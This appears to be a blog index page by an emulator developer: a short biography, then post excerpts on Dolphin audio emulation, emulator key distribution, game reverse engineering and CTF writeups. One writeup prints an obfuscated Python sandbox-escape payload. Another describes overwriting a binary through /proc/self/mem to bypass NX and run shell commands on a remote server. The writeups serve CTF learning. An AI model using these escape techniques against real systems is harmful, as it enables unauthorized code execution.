In short
I’m delroth, or Pierre Bourdon. Originally from France, currently living in
Zürich, Switzerland. I’m an open source developer, mainly contributing to
NixOS these days. In the past, I was a core developer for
the Dolphin Emulator, and I was the main
infrastructure maintainer as well as treasurer for the project.
In my working life, I’ve worked for around 10 years as a Software Engineer at
Google. I’ve spent around 3 years each specializing in site reliability,
counter-abuse technologies, then infrastructure security. Along the way, I also
became privacy reviewer for new infrastructure projects, as well as
teacher/mentor for new C++ developers at the company.
I’m currently on a sabbatical leave, spending my free time learning more about
the country I’ve lived in for 10 years, and finally learning the local
language.
This blog post is a copy of an article I posted on the /r/emulation subreddit
regarding the recent Dolphin / Valve / Nintendo “drama”. You can read it with
comments over there.
On /r/emulation 8 days
ago
/u/b0b_d0e (with a “Citra Developer” flair) mentioned:
That’s right, you know how on all these other emulators like citra, ryu,
yuzu, cemu etc they all say “dump your keys by following this guide” ever
wonder why you didn’t need that with dolphin?
BECAUSE DOLPHIN ILLEGALLY DISTRIBUTES NINTENDO’S WII DECRYPTION KEY
I never really spent the time trying to reply to this. At the time I was more
busy trying to make people understand the difference between a DMCA notice and
what happened between Valve and Nintendo. But then this was also picked up by
my favorite emulation not-journalist
MVG who even doubled down on the
keys situation in his apology-update video.
So, I wondered: how do other emulators actually fare? I’ll let you decide on
your own:
Been a while since I last took the time to solve a CTF challenge. I did not
take part in the Boston Key Party CTF, but a friend of mine told me that I
might be interested in this crackme.
hypercube.dol is a GameCube binary that computes a value using terribly
unoptimized code. The goal of the challenge is to understand the code and
“optimize” the slow parts. Kind of like the “supercomputer” category from
PlaidCTF. I like crackmes and I like GameCube RE, so let’s get started!
Since the release of Dolphin 3.5 half a year ago, audio processing in Dolphin
has changed a lot. In Dolphin versions up to 3.5, a lot of games required
low-level emulation of the DSP code in order to not crash or get audio output.
This low-level emulation (called DSP LLE) is unfortunately a lot slower than
high-level emulation (DSP HLE): while low-level emulation emulates extremely
accurately the DSP code by translating the binary code into x86, high-level
emulation simply runs C++ code which approximates what the DSP code does. I’ve
spent several months rewriting most of the DSP HLE code,
fixing sound issues in several dozens of games (my current estimate is around
~150), and now DSP HLE can be used in most GameCube and Wii games that
previously required DSP LLE. HLE being a lot faster than LLE, everyone should
be happy, right?
Wrong. It turns out that one of the main source of bugs, crashes and
inaccuracies in DSP HLE was also one of its main features: the ability to run
sound emulation at full speed even if the emulated game is not able to reach
100% speed on a computer. This feature, called asynchronous audio processing,
is obviously being requested again by more and more people. This article is
here to explain why async audio will not come back and what async audio
actually breaks.
The Nuit du Hack CTF 2013 Quals round was taking place yesterday. As usual,
I’ll be posting a few writeups about fun exercises and/or solutions from this
CTF. If you want more, my teammate w4kfu should be
posting some writeups as well on his blog soon.
TL;DR:
auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())
MysteryBox was a remote server disassembling and running its input data for an
unknown RISC-like CPU. As far as I know the unknown CPU is not a “real” CPU but
a VM made solely for this challenge. Here is an example of how to interact with
the remote MysteryBox service:
$ perl -e 'print "\x00\x00\x00\x00"' |
nc mysterybox.2013.ghostintheshellcode.com 4242
09007800 ldb sp, sp, sp
Caught signal 11. Program terminated.
sp=0900bc08 r1=00000000 r2=00000000 r3=00000000 r4=00000000 r5=00000000
r6=00000000 r7=00000000 r8=00000000 r9=00000000 r10=00000000 r11=00000000
r12=00000000 r13=00000000 r14=00000000 r15=00000000 r16=00000000 r17=00000000
r18=00000000 r19=00000000 r20=00000000 r21=00000000 r22=00000000 r23=00000000
r24=00000000 r25=00000000 r26=00000000 r27=00000000 r28=00000000 r29=00000000
lr=00000000 ip=09007800 cc=ffff
rtfm-67cc5dcb69df4244bcf2d573481e6d6a06b861a3: ELF 32-bit LSB executable
rtfm-e24f03bb1204f8e3d40fae8ac135187a11b0ba5c: data
rtfm
is a binary processing ASCII input files and outputting seemingly
compressed versions of these files: testing on a few long text files shows that
the size of the output file is smaller than the input file. The second file
from this challenge is a file compressed by rtfm
, our objective is to write
the decompression code for the rtfm
compression.
The interesting part of the binary is the function at 0x08048910
, which
compresses the contents of an input buffer and writes it to a calloc
-ed
output buffer. For each character of the input stream, the function will read
data from a 128 entries table at 0x08048CA0
. Each of these entry contains a
16-bit word as well as an 8-bit integer.
hackthegibson: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.15,
BuildID[sha1]=0xb8515e4280130d84d4b4e1fd492da1b099ec0eb6, stripped
hackthegibson
is a 64-bit ELF for Linux using OpenSSL (libcrypto
) and FFTW
to analyze the spectrum of samples coming from /dev/dsp
.
The program does not take a key as an input, only sound data. That means it
will most likely generate and display a key based on the sound. Indeed, at the
address 0x401963
we can see that the program uses MD5_Final
to generate a
MD5 digest and displays it in hex using a printf("%02x")
loop. Let’s look at
all the references to MD5_Update
to understand how this MD5 digest is
computed:
- Just before the program main loop, the first call to
MD5_Update
hashes 1
constant byte 0x14
- At each iteration of the program main loop, if the function analyzing the
sound data returns the expected value (checked using a table mapping
iteration number to expected value)
MD5_Update
is called using that
expected value. - Just before the call to
MD5_Final
the constant byte 0x14
is hashed once
again.
For the last two weeks, I’ve been working on enhancements and bug fixes related
to audio processing in the Dolphin Emulator (the
only Gamecube/Wii emulator that allows playing commercial games at the moment).
Through this project I have learned a lot about how audio processing works in a
Gamecube. Very little documentation is available on that subject, so I think
writing an article explaining how it works might teach some new things to
people interested in Gamecube/Wii homebrew development or emulators
development. This article was first published in 3 parts on the Dolphin
official
forums.
Before publishing it on the blog, I made some small changes (mostly
proof-reading and adding some complementary images) but most explanations are
the same.
If you’re interested in the code, it is available in
the new-ax-hle
branch on
the official Google Code repository.
Let’s start this exploration of audio emulation in a Gamecube emulator by
looking at how the real hardware processes sound data.
I really enjoy reverse engineering stuff. I also really like playing video
games. Sometimes, I get bored and start wondering how the video game I’m
playing works internally. Last year, this led me to analyze Tales of Symphonia
2, a Wii RPG. This game uses a custom virtual machine with some really
interesting features (including cooperative multithreading) in order to
describe cutscenes, maps, etc. I started to be very interested in how this
virtual machine worked, and wrote a (mostly) complete implementation of this
virtual machine in C++.
However, I recently discovered that some other games are also using this same
virtual machine for their own scripts. I was quite interested by that fact and
started analyzing scripts for these games and trying to find all the
improvements between versions of the virtual machine. Three days ago, I started
working on Tales of Vesperia (PS3) scripts, which seem to be compiled in the
same format as I analyzed before. Unfortunately, every single file in the
scripts directory seemed to be compressed using an unknown compression format,
using the magic number “TLZC”.
Normally at this point I would have analyzed the uncompress function
dynamically using an emulator or an on-target debugger. However, in this case,
there is no working PS3 emulator able to help me in my task, and I also don’t
possess an homebrew-enabled PS3 to try to dump the game memory. Sadface. I tend
to prefer static analysis to dynamic analysis, but I also didn’t know a lot
about compression formats at this point. Still, I started working on reversing
that format statically.
This article was co-authored with Samuel Chevet.
During the Nuit du Hack 2012 Prequals contest, we often had to remote exploit
some services running in a custom VM (which was recently released on
GitHub). After injecting a
shellcode in the services (through a remote stack buffer overflow) we were able
to run VM code, which can execute interesting
syscalls: read
, write
, open
, exit
, and a lot more. However there was
not a way to directly execute a random x86 binary or to list directories
(no getdents
), which made it really hard to explore the server filesystem.
After the event ended we got an idea that we could have used to bypass this
security and execute any shell command line on the remote server.
Using /proc/self/cmdline
, we can get the path to the VM binary and download
it. Then, using /proc/self/mem
we can replace some symbols from the binary by
our custom x86 code. This method works because without the grsecurity
patchset /proc/self/mem
completely overrides NX and
allows writing to read-only memory locations (like .text
).